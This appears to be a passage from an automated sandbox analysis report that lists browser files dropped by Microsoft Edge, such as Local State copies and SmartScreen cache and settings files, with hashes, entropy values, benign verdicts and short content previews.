SHA-256:	8E99BDF64FE23D4746A3993A8E557FC5BB47B78CB40BC44757CEFF02FAF29DF8
SHA-512:	ADBE0593AA8025929B05668032DF308189C6730953DB4420F72D5EC8B35718057D51F1E7CBFE4E4C9BEB46B6465AF4D559227FD9320FC2630C4642B56DF2A80B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF36dfd.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.0907839017712755
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMvwuF9hDO6vP6O+Utbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEz6htbz8hu3VlXr4CRo1
MD5:	0A01C48F3C67B63B6F580EBD5AE313C4
SHA1:	4144A1B3ED4FBD043169E2B098CF10A88F605A81
SHA-256:	8E99BDF64FE23D4746A3993A8E557FC5BB47B78CB40BC44757CEFF02FAF29DF8
SHA-512:	ADBE0593AA8025929B05668032DF308189C6730953DB4420F72D5EC8B35718057D51F1E7CBFE4E4C9BEB46B6465AF4D559227FD9320FC2630C4642B56DF2A80B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF37187.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.0907839017712755
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMvwuF9hDO6vP6O+Utbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEz6htbz8hu3VlXr4CRo1
MD5:	0A01C48F3C67B63B6F580EBD5AE313C4
SHA1:	4144A1B3ED4FBD043169E2B098CF10A88F605A81
SHA-256:	8E99BDF64FE23D4746A3993A8E557FC5BB47B78CB40BC44757CEFF02FAF29DF8
SHA-512:	ADBE0593AA8025929B05668032DF308189C6730953DB4420F72D5EC8B35718057D51F1E7CBFE4E4C9BEB46B6465AF4D559227FD9320FC2630C4642B56DF2A80B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF39869.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.0907839017712755
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMvwuF9hDO6vP6O+Utbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEz6htbz8hu3VlXr4CRo1
MD5:	0A01C48F3C67B63B6F580EBD5AE313C4
SHA1:	4144A1B3ED4FBD043169E2B098CF10A88F605A81
SHA-256:	8E99BDF64FE23D4746A3993A8E557FC5BB47B78CB40BC44757CEFF02FAF29DF8
SHA-512:	ADBE0593AA8025929B05668032DF308189C6730953DB4420F72D5EC8B35718057D51F1E7CBFE4E4C9BEB46B6465AF4D559227FD9320FC2630C4642B56DF2A80B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3d2c2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.0907839017712755
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMvwuF9hDO6vP6O+Utbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEz6htbz8hu3VlXr4CRo1
MD5:	0A01C48F3C67B63B6F580EBD5AE313C4
SHA1:	4144A1B3ED4FBD043169E2B098CF10A88F605A81
SHA-256:	8E99BDF64FE23D4746A3993A8E557FC5BB47B78CB40BC44757CEFF02FAF29DF8
SHA-512:	ADBE0593AA8025929B05668032DF308189C6730953DB4420F72D5EC8B35718057D51F1E7CBFE4E4C9BEB46B6465AF4D559227FD9320FC2630C4642B56DF2A80B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4827a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.0907839017712755
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMvwuF9hDO6vP6O+Utbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEz6htbz8hu3VlXr4CRo1
MD5:	0A01C48F3C67B63B6F580EBD5AE313C4
SHA1:	4144A1B3ED4FBD043169E2B098CF10A88F605A81
SHA-256:	8E99BDF64FE23D4746A3993A8E557FC5BB47B78CB40BC44757CEFF02FAF29DF8
SHA-512:	ADBE0593AA8025929B05668032DF308189C6730953DB4420F72D5EC8B35718057D51F1E7CBFE4E4C9BEB46B6465AF4D559227FD9320FC2630C4642B56DF2A80B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4ddf8.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.0907839017712755
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMvwuF9hDO6vP6O+Utbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEz6htbz8hu3VlXr4CRo1
MD5:	0A01C48F3C67B63B6F580EBD5AE313C4
SHA1:	4144A1B3ED4FBD043169E2B098CF10A88F605A81
SHA-256:	8E99BDF64FE23D4746A3993A8E557FC5BB47B78CB40BC44757CEFF02FAF29DF8
SHA-512:	ADBE0593AA8025929B05668032DF308189C6730953DB4420F72D5EC8B35718057D51F1E7CBFE4E4C9BEB46B6465AF4D559227FD9320FC2630C4642B56DF2A80B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
